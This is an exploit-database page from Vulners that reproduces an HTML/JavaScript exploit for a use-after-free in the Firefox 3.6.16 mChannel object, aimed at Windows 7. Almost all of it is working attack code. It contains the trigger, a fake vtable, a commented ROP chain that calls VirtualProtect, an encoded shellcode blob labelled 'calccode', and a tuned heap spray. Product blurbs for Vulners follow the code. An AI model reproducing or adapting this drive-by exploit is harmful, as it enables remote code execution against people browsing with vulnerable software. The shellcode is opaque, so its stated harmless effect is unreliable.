Vulners
Lucene search
Mozilla Firefox 3.6.16 mChannel Object Use After Free Exploit (Win7)
<html>
<body>
<applet code="rubik.class" width=140 height=140></applet>
<p><b>Mozilla mChannel Object use after free</b><br />
- Found by regenrecht<br />
- MSF exploit by Rh0<br />
- Win 7 fun version by mr_me</p>
<!--
Notes:
- This exploit requires <= java 6 update 25.
- optimized heap spray and still works on mutiple tabs as
the spray is large enough to hit the 0x10000000 block.
- If you really want the class file you can get it here:
http://javaboutique.internet.com/Rubik/rubik.class,
but java still loads without it.
- Tested on windows 7 ultimate (latest updates).
- http://bit.ly/qD4Jkc
-->
<object id="d"><object>
<script type="text/javascript">
function trigger(){
alert('ready?');
fakeobject = document.getElementById("d"); // allocate the object
fakeobject.QueryInterface(Components.interfaces.nsIChannelEventSink); // append to the objects available functions
fakeobject.onChannelRedirect(null,new Object,0); // free it
/*
fill the object with a fake vtable reference
just use the start of a block for simplicity and use \x00
because it expands to a NULL so that
when we have have the CALL DWORD PTR DS:[ECX+18], it will point to 0x10000000
*/
fakevtable = unescape("\x00%u1000");
var rop = "";
// 3 instructions to pivot cleanly
rop += unescape("%u1033%u6d7f"); // 0x6D7F1033 -> MOV EAX,[ECX] / PUSH EDI / CALL [EAX+4] <jvm.dll>
rop += unescape("%u10a7%u6d7f"); // 0x6D7F10A7 -> POP EBP / RETN <jvm.dll>
rop += unescape("%u1441%u6d7f"); // 0x6D7F1441 -> XCHG EAX,ESP / RETN <jvm.dll>
// generic rop taken from MSVCR71.dll (thanks to corelanc0d3r)
rop += unescape("%u6c0a%u7c34"); // 0x7c346c0a -> POP EAX / RETN
rop += unescape("%ua140%u7c37"); // 0x7c37a140 -> Make EAX readable
rop += unescape("%u591f%u7c37"); // 0x7c37591f -> PUSH ESP / ... / POP ECX / POP EBP / RETN
rop += unescape("%uf004%ubeef"); // 0x41414141 -> EBP (filler)
rop += unescape("%u6c0a%u7c34"); // 0x7c346c0a -> POP EAX / RETN
rop += unescape("%ua140%u7c37"); // 0x7c37a140 -> *&VirtualProtect()
rop += unescape("%u30ea%u7c35"); // 0x7c3530ea -> MOV EAX,[EAX] / RETN
rop += unescape("%u6c0b%u7c34"); // 0x7c346c0b -> Slide, so next gadget would write to correct stack location
rop += unescape("%u6069%u7c37"); // 0x7c376069 -> MOV [ECX+1C],EAX / POP EDI / POP ESI / POP EBX / RETN
rop += unescape("%uf00d%ubeef"); // 0x41414141 -> EDI (filler)
rop += unescape("%uf00d%ubeef"); // 0x41414141 -> will be patched at runtime (VP), then picked up into ESI
rop += unescape("%uf00d%ubeef"); // 0x41414141 -> EBX (filler)
rop += unescape("%u6402%u7c37"); // 0x7c376402 -> POP EBP / RETN
rop += unescape("%u5c30%u7c34"); // 0x7c345c30 -> ptr to 'push esp / ret '
rop += unescape("%u6c0a%u7c34"); // 0x7c346c0a -> POP EAX / RETN
rop += unescape("%udfff%uffff"); // 0xfffffdff -> size 0x00000201 -> ebx, modify if needed
rop += unescape("%u1e05%u7c35"); // 0x7c351e05 -> NEG EAX / RETN
rop += unescape("%u4901%u7c35"); // 0x7c354901 -> POP EBX / RETN
rop += unescape("%uffff%uffff"); // 0xffffffff -> pop value into ebx
rop += unescape("%u5255%u7c34"); // 0x7c345255 -> INC EBX / FPATAN / RETN
rop += unescape("%u2174%u7c35"); // 0x7c352174 -> ADD EBX,EAX / XOR EAX,EAX / INC EAX / RETN
rop += unescape("%ud201%u7c34"); // 0x7c34d201 -> POP ECX / RETN
rop += unescape("%ub001%u7c38"); // 0x7c38b001 -> RW pointer (lpOldProtect) (-> ecx)
rop += unescape("%ub8d7%u7c34"); // 0x7c34b8d7 -> POP EDI / RETN
rop += unescape("%ub8d8%u7c34"); // 0x7c34b8d8 -> ROP NOP (-> edi)
rop += unescape("%u4f87%u7c34"); // 0x7c344f87 -> POP EDX / RETN
rop += unescape("%uffc0%uffff"); // 0xffffffc0 -> value to negate, target value : 0x00000040, target: edx
rop += unescape("%u1eb1%u7c35"); // 0x7c351eb1 -> NEG EDX / RETN
rop += unescape("%u6c0a%u7c34"); // 0x7c346c0a -> POP EAX / RETN
rop += unescape("%u9090%u9090"); // 0x90909090 -> NOPS (-> eax)
rop += unescape("%u8c81%u7c37"); // 0x7c378c81 -> PUSHAD / ADD AL,0EF / RETN
sc = rop;
// nice big 'calccode' (0x400 bytes)
sc += unescape("%uf869%u0d93%u3578%u7704%u902d%u432c%u249f%uba46%u983c%ub299%ufe13%uf9c0"+
"%u784f%u2f7c%u4fa9%u7a76%ub235%u7027%u2f73%ub937%ud380%u0de3%u157f%u93b5%ubfba%u4291"+
"%ufc03%u3d40%u729f%u9b24%u7e7b%u3814%u8dfd%u2592%u892c%u01e0%uf9d0%u41b1%uf731%u75e1"+
"%ubb3f%u7d79%uf811%u6734%u992d%u4b49%u6690%u71b4%ua847%u094a%u05eb%u4eb3%ud119%u3ae2"+
"%u0cd6%u96be%ub0b8%u4697%u98b7%u1048%ub6d5%u1c04%uf56b%u201d%u74d4%u773c%u727f%u7b7d"+
"%u7e7c%u7571%u9743%u1c49%ubb90%u4e74%u3cb5%ua993%ub09f%u73ba%ud522%u8d4f%u98be%u3304"+
"%u88f5%u43d4%u92b4%u7ab8%ud60a%u1da8%ub14a%uf82a%ub7b2%u2c41%u3b79%u05fd%u85b9%u76e0"+
"%ufc1a%u4b35%u9647%u8134%u24e1%u8366%u48e3%u4214%u870c%uebd2%u3f78%u9bb3%uff1b%uc1c7"+
"%u67e2%u910d%u70b6%u4615%u2d25%u772f%u993d%ubf27%u1240%u37f9%u7a77%u7279%u9167%u2f76"+
"%ubeb5%u15b6%u7d7f%u303f%u40e3%u11b7%u19e0%u39e2%u04fc%ua8ba%u991d%ud518%u41bb%u78bf"+
"%u9834%ub8b4%u270d%u8390%u4ffd%u31b1%u70e1%u4349%u86b3%u9ff5%u331c%ud6f7%u667e%ua93c"+
"%u9b8d%uf687%u46d4%u4293%u7314%u3d35%u257b%u4a97%u37b0%u2496%u4b74%u2c75%u92b9%u2d7c"+
"%u4748%u694e%uebd3%uf829%u08b2%u71f9%u790c%u717a%u227b%u05e2%u3cb8%u9fb6%u7896%uf903"+
"%u217e%ubfd6%u4e91%u3db3%u777c%u0d76%u7372%u1541%ub2ba%u342c%u9048%ud484%ue189%u4f05"+
"%u677f%ubbb9%u4370%u7d74%u1c75%ua92d%u1342%u93f5%u090c%u12e3%u92f8%u662f%u49b0%u8d99"+
"%ub44b%uc688%uebc0%u474a%u2b37%u46fc%u0a9b%u04fd%ue086%u2740%ua8be%u35b5%u3f97%u24b1"+
"%u1498%u25b7%u7c1d%u0b7f%ub1d5%u410c%u1047%u7deb%ue228%u7672%u7e78%u7177%u1b73%ufdd0"+
"%u3bb2%u3ce0%u7515%u4e25%uf52a%u70b9%u3540%u9993%ubf2c%u85b5%u79fc%u3474%u377b%ud26b"+
"%ubed5%u982d%ue33a%u9243%u7a14%ub33d%u9048%ubb8d%u9b24%u2f46%u20b0%uf9d1%ub897%ua866"+
"%ub4b7%ua996%ub642%ue180%u4a27%u1a77%u9fd4%u017e%u18eb%u8cf8%ubad6%u1c7c%u497f%u7467"+
"%u784f%u914b%u3271%u04e0%u0d7a%u1d79%u397b%ue2c1%u7d05%u933f%u70b1%ub324%u3cb8%u6642"+
"%u961c%u9b27%u72bf%ue338%ub53d%u3040%ub4fc%u7646%uf525%u029f%ubad5%u0cf8%u3fa9%u7514"+
"%ubb0d%u23e1%ub9d6%u05d4%u378d%ub243%ub735%u1573%u4798%u2c48%ua84b%ufd41%u4f2d%u1db6"+
"%u9049%uf981%ube04%u3491%u924e%ub097%u2f4a%u9967%u8dbe%u5994%udbe7%ud9da%u2474%u58f4"+
"%uc929%u33b1%u7031%u8312%u04c0%ufd03%ubb9a%u0112%ub24a%uf9dd%ua58b%u1c54%uf7ba%u5503"+
"%uc7ef%u3b40%ua31c%uaf05%uc197%uc081%u6f10%ueff4%u41a1%ua338%uc362%ub9c4%u23b6%u72f4"+
"%u22cb%u6e31%u7624%ue5ea%u6797%ubb9f%u892b%ub04f%uf114%u06ea%u4be0%u56f4%uc759%u4ebe"+
"%u8fd1%u6f1e%ucc36%u2663%u2733%ub917%u7995%u88d8%ud6d9%u25e7%u27d4%u812f%u5207%uf25b"+
"%u65ba%u8998%ue360%u293d%u53e2%uc8e6%u0527%uc66d%u418c%uca29%u8513%uf641%u2898%u7f86"+
"%u0eda%u2402%u2fb8%u8013%u4f6f%u6c43%uf5cf%u9e0f%u8f04%uf44d%u1ddb%ub1e8%u1ddc%u91f3"+
"%u2cb4%u7e78%ub0c2%u3bab%ufb3c%u6df6%ua2d5%u2c62%u54b8%u7259%ud6c5%u0a68%uc632%u0f18"+
"%u407e%u7df0%u25ef%ud2f6%u6c10%ub595%uec82%u5074%u9623%u4188");
// create a string with a ptr to the offset of our rop
// used 0x1000001c to accomidate 0x18 + 0x4 (1st rop gadget)
var filler = unescape("%u001c%u1000");
while(filler.length < 0x100) {filler += filler;}
/*
create a string with 0x18 bytes at the start containing ptr's to the rop.
This is to account for the vtable offset (0x18) -> 'CALL DWORD PTR DS:[ECX+18]'
Then fill with sc + junk
*/
var chunk = filler.substring(0,0x18/2);
chunk += sc;
chunk += filler;
// create a string of size 64k in memory that contains sc + filler
var heapblock = chunk.substring(0,0x10000/2);
// keep adding more memory that contains sc + filler to reach 512kB
while (heapblock.length<0x80000) {heapblock += heapblock;}
/*
using a final string of 512kB so that the spray is fast but ensuring accuracy
- sub the block header length (0x24)
- sub 1/4 of a page for sc (0x400)
- sub the string length (0x04)
- sub the null byte terminator
*/
var finalspray = heapblock.substring(0,0x80000 - sc.length - 0x24/2 - 0x4/2 - 0x2/2);
// optimised spray, precision can still be reliable even with tabs.
// force allocation here of 128 blocks, using only 64MB of memory, speeeeeeed.
arrayOfHeapBlocks = new Array()
for (n=0;n<0x80;n++){
arrayOfHeapBlocks[n] = finalspray + sc;
}
}
trigger();
</script>
</body>
</html>
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
17 Aug 2011 00:00Current
7.1High risk
Vulners AI Score7.1